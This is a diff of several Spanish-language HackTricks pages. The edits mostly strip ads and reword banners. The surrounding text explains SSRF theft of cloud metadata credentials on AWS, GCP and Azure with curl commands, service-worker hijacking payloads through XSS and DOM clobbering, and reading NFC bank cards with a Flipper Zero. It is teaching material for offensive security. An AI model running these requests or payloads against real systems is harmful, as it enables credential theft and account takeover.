@ -110,23 +102,16 @@ Consulta los laboratorios para probar ambos escenarios en [https://github.com/0a
|
|||
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
|
||||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,31 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### Abusando de SSRF en el entorno de AWS EC2
|
||||
|
||||
**El endpoint de metadatos** se puede acceder desde cualquier máquina EC2 y ofrece información interesante al respecto. Es accesible en la url: `http://169.254.169.254` ([información sobre los metadatos aquí](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**El endpoint de metadatos** se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la url: `http://169.254.169.254` ([información sobre los metadatos aquí](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Hay **2 versiones** del endpoint de metadatos. La **primera** permite **acceder** al endpoint a través de solicitudes **GET** (por lo que cualquier **SSRF puede explotarlo**). Para la **versión 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), necesitas solicitar un **token** enviando una solicitud **PUT** con un **encabezado HTTP** y luego usar ese token para acceder a los metadatos con otro encabezado HTTP (por lo que es **más complicado de abusar** con un SSRF).
|
||||
|
||||
|
@ -145,7 +137,7 @@ Ten en cuenta que las **credenciales de lambda** están dentro de las **variable
|
|||
|
||||
### URL de SSRF para AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
Recuperamos el `accountId` y la `región` de la API.
|
||||
Recuperamos el `accountId` y `region` de la API.
|
||||
```
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
|
@ -249,13 +241,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta NO requiere un encabezado en este momento (gracias Mathias Karlsson @avlidienbrunn)
|
||||
Beta NO requiere un encabezado en este momento (gracias a Mathias Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Para **utilizar el token de la cuenta de servicio exfiltrado**, simplemente puedes hacer lo siguiente:
|
||||
Para **utilizar el token de cuenta de servicio exfiltrado**, simplemente puedes hacer:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
|
@ -296,9 +288,9 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Funciones en la nube <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
### Funciones en la Nube <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
El punto final de metadatos funciona de la misma manera que en las VM, pero sin algunos puntos finales:
|
||||
El endpoint de metadatos funciona de la misma manera que en las VM, pero sin algunos endpoints:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -326,7 +318,7 @@ done
|
|||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
No existen cosas como Roles de AWS o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos
|
||||
No existen cosas como Roles de AWS o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos.
|
||||
{% endhint %}
|
||||
|
||||
Documentación disponible en [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
|
@ -341,14 +333,6 @@ http://169.254.169.254/metadata/v1/region
|
|||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||||
curl http://169.254.169.254/metadata/v1.json | jq
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Azure <a href="#cea8" id="cea8"></a>
|
||||
|
||||
### Azure VM
|
||||
|
@ -357,10 +341,6 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
|
|||
|
||||
* **Debe** contener el encabezado `Metadata: true`
|
||||
* No debe contener un encabezado `X-Forwarded-For`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Bash" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
HEADER="Metadata:true"
|
||||
URL="http://169.254.169.254/metadata"
|
||||
|
@ -567,23 +547,3 @@ Los metadatos de Docker se pueden acceder localmente, con ejemplos dados para la
|
|||
Los metadatos de Rancher se pueden acceder utilizando:
|
||||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,20 +8,12 @@
|
|||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
Un **service worker** es un script ejecutado por tu navegador en segundo plano, independiente de cualquier página web, que permite funciones que no requieren una página web o interacción del usuario, mejorando así las capacidades de **procesamiento sin conexión y en segundo plano**. Puedes encontrar información detallada sobre los service workers [aquí](https://developers.google.com/web/fundamentals/primers/service-workers). Al explotar los service workers dentro de un dominio web vulnerable, los atacantes pueden obtener control sobre las interacciones de la víctima con todas las páginas dentro de ese dominio.
|
||||
|
@ -29,11 +21,11 @@ Un **service worker** es un script ejecutado por tu navegador en segundo plano,
|
|||
|
||||
### Verificación de Service Workers Existentes
|
||||
|
||||
Los service workers existentes se pueden verificar en la sección de **Service Workers** de la pestaña de **Application** en las **Herramientas para desarrolladores**. Otro método es visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para obtener una vista más detallada.
|
||||
Los service workers existentes se pueden verificar en la sección de **Service Workers** de la pestaña de **Application** en las **Developer Tools**. Otro método es visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para obtener una vista más detallada.
|
||||
|
||||
### Notificaciones Push
|
||||
|
||||
Las **permisos de notificaciones push** impactan directamente en la capacidad de un **service worker** para comunicarse con el servidor sin interacción directa del usuario. Si se niegan los permisos, se limita el potencial del service worker para representar una amenaza continua. Por el contrario, otorgar permisos aumenta los riesgos de seguridad al permitir la recepción y ejecución de posibles exploits.
|
||||
Las **permisos de notificaciones push** impactan directamente la capacidad de un **service worker** para comunicarse con el servidor sin interacción directa del usuario. Si se niegan los permisos, se limita el potencial del service worker para representar una amenaza continua. Por el contrario, otorgar permisos aumenta los riesgos de seguridad al permitir la recepción y ejecución de posibles exploits.
|
||||
|
||||
## Ataque Creando un Service Worker
|
||||
|
||||
|
@ -73,11 +65,11 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
|
|||
```
|
||||
Existe un **C2** dedicado a la **explotación de Service Workers** llamado [**Shadow Workers**](https://shadow-workers.github.io) que será muy útil para abusar de estas vulnerabilidades.
|
||||
|
||||
La directiva de **caché de 24 horas** limita la vida de un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad de XSS, asumiendo un estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script de SW. También se recomienda a los desarrolladores crear un [**interruptor de apagado de service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida.
|
||||
La directiva de **caché de 24 horas** limita la vida de un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo un estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script de SW. También se recomienda a los desarrolladores crear un [**interruptor de apagado del service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida.
|
||||
|
||||
## Abusando de `importScripts` en un SW a través de DOM Clobbering
|
||||
|
||||
La función **`importScripts`** llamada desde un Service Worker puede **importar un script de un dominio diferente**. Si esta función se llama usando un **parámetro que un atacante podría** modificar, podría **importar un script JS de su dominio** y obtener XSS.
|
||||
La función **`importScripts`** llamada desde un Service Worker puede **importar un script de un dominio diferente**. Si esta función se llama usando un **parámetro que un atacante podría** modificar, podría **importar un script JS desde su dominio** y obtener XSS.
|
||||
|
||||
**Esto incluso evade las protecciones CSP.**
|
||||
|
||||
|
@ -113,21 +105,14 @@ Para ver un ejemplo de esto, consulta el enlace de referencia.
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,24 +2,16 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Introducción <a href="#9wrzi" id="9wrzi"></a>
|
||||
|
||||
Para obtener información sobre RFID y NFC, consulta la siguiente página:
|
||||
|
@ -36,8 +28,8 @@ Además de las tarjetas NFC, Flipper Zero admite **otros tipos de tarjetas de al
|
|||
|
||||
Se agregarán nuevos tipos de tarjetas NFC a la lista de tarjetas admitidas. Flipper Zero admite los siguientes **tipos de tarjetas NFC tipo A** (ISO 14443A):
|
||||
|
||||
* **Tarjetas bancarias (EMV)** — solo lee UID, SAK y ATQA sin guardar.
|
||||
* **Tarjetas desconocidas** — lee (UID, SAK, ATQA) y emula un UID.
|
||||
* **Tarjetas bancarias (EMV)** — solo lee UID, SAK y ATQA sin guardar.
|
||||
* **Tarjetas desconocidas** — lee (UID, SAK, ATQA) y emula un UID.
|
||||
|
||||
Para las **tarjetas NFC tipo B, tipo F y tipo V**, Flipper Zero puede leer un UID sin guardarlo.
|
||||
|
||||
|
@ -47,13 +39,13 @@ Para las **tarjetas NFC tipo B, tipo F y tipo V**, Flipper Zero puede leer un UI
|
|||
|
||||
Flipper Zero solo puede leer un UID, SAK, ATQA y datos almacenados en tarjetas bancarias **sin guardar**.
|
||||
|
||||
Pantalla de lectura de tarjetas bancarias Para las tarjetas bancarias, Flipper Zero solo puede leer datos **sin guardar y emularlos**.
|
||||
Pantalla de lectura de tarjetas bancarias Para las tarjetas bancarias, Flipper Zero solo puede leer datos **sin guardarlos ni emularlos**.
|
||||
|
||||
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&ixlib=react-9.1.1&h=916&w=2662" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Tarjetas desconocidas <a href="#37eo8" id="37eo8"></a>
|
||||
|
||||
Cuando Flipper Zero es **incapaz de determinar el tipo de tarjeta NFC**, entonces solo se puede **leer y guardar** un **UID, SAK y ATQA**.
|
||||
Cuando Flipper Zero es **incapaz de determinar el tipo de tarjeta NFC**, solo se puede **leer y guardar** un **UID, SAK y ATQA**.
|
||||
|
||||
Pantalla de lectura de tarjetas desconocidas Para las tarjetas NFC desconocidas, Flipper Zero solo puede emular un UID.
|
||||
|
||||
|
@ -71,7 +63,7 @@ Para una introducción sobre NFC [**lee esta página**](../../../radio-hacking/p
|
|||
|
||||
### Leer
|
||||
|
||||
Flipper Zero puede **leer tarjetas NFC**, sin embargo, **no comprende todos los protocolos** basados en ISO 14443. Sin embargo, dado que el **UID es un atributo de bajo nivel**, podrías encontrarte en una situación en la que el **UID ya se ha leído, pero el protocolo de transferencia de datos de alto nivel sigue siendo desconocido**. Puedes leer, emular e introducir manualmente el UID usando Flipper para los lectores primitivos que utilizan el UID para la autorización.
|
||||
Flipper Zero puede **leer tarjetas NFC**, sin embargo, **no comprende todos los protocolos** basados en ISO 14443. Sin embargo, dado que el **UID es un atributo de bajo nivel**, podrías encontrarte en una situación en la que el **UID ya está leído, pero el protocolo de transferencia de datos de alto nivel sigue siendo desconocido**. Puedes leer, emular e introducir manualmente el UID usando Flipper para los lectores primitivos que utilizan el UID para la autorización.
|
||||
|
||||
#### Leer el UID VS Leer los Datos Internos <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
|
||||
|
||||
|
@ -80,7 +72,7 @@ Flipper Zero puede **leer tarjetas NFC**, sin embargo, **no comprende todos los
|
|||
En Flipper, la lectura de etiquetas de 13.56 MHz se puede dividir en dos partes:
|
||||
|
||||
* **Lectura de bajo nivel** — lee solo el UID, SAK y ATQA. Flipper intenta adivinar el protocolo de alto nivel basado en estos datos leídos de la tarjeta. No se puede estar al 100% seguro con esto, ya que es solo una suposición basada en ciertos factores.
|
||||
* **Lectura de alto nivel** — lee los datos de la memoria de la tarjeta utilizando un protocolo de alto nivel específico. Eso sería leer los datos en un Mifare Ultralight, leer los sectores de un Mifare Classic o leer los atributos de la tarjeta de PayPass/Apple Pay.
|
||||
* **Lectura de alto nivel** — lee los datos de la memoria de la tarjeta utilizando un protocolo de alto nivel específico. Esto sería leer los datos en un Mifare Ultralight, leer los sectores de un Mifare Classic o leer los atributos de la tarjeta de PayPass/Apple Pay.
|
||||
|
||||
### Leer Específico
|
||||
|
||||
|
@ -90,25 +82,18 @@ En caso de que Flipper Zero no sea capaz de encontrar el tipo de tarjeta a parti
|
|||
|
||||
Además de simplemente leer el UID, puedes extraer muchos más datos de una tarjeta bancaria. Es posible **obtener el número completo de la tarjeta** (los 16 dígitos en el frente de la tarjeta), la **fecha de validez** e incluso en algunos casos el **nombre del propietario** junto con una lista de las **transacciones más recientes**.\
|
||||
Sin embargo, **no puedes leer el CVV de esta manera** (los 3 dígitos en la parte trasera de la tarjeta). Además, **las tarjetas bancarias están protegidas contra ataques de repetición**, por lo que copiarla con Flipper y luego intentar emularla para pagar algo no funcionará.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
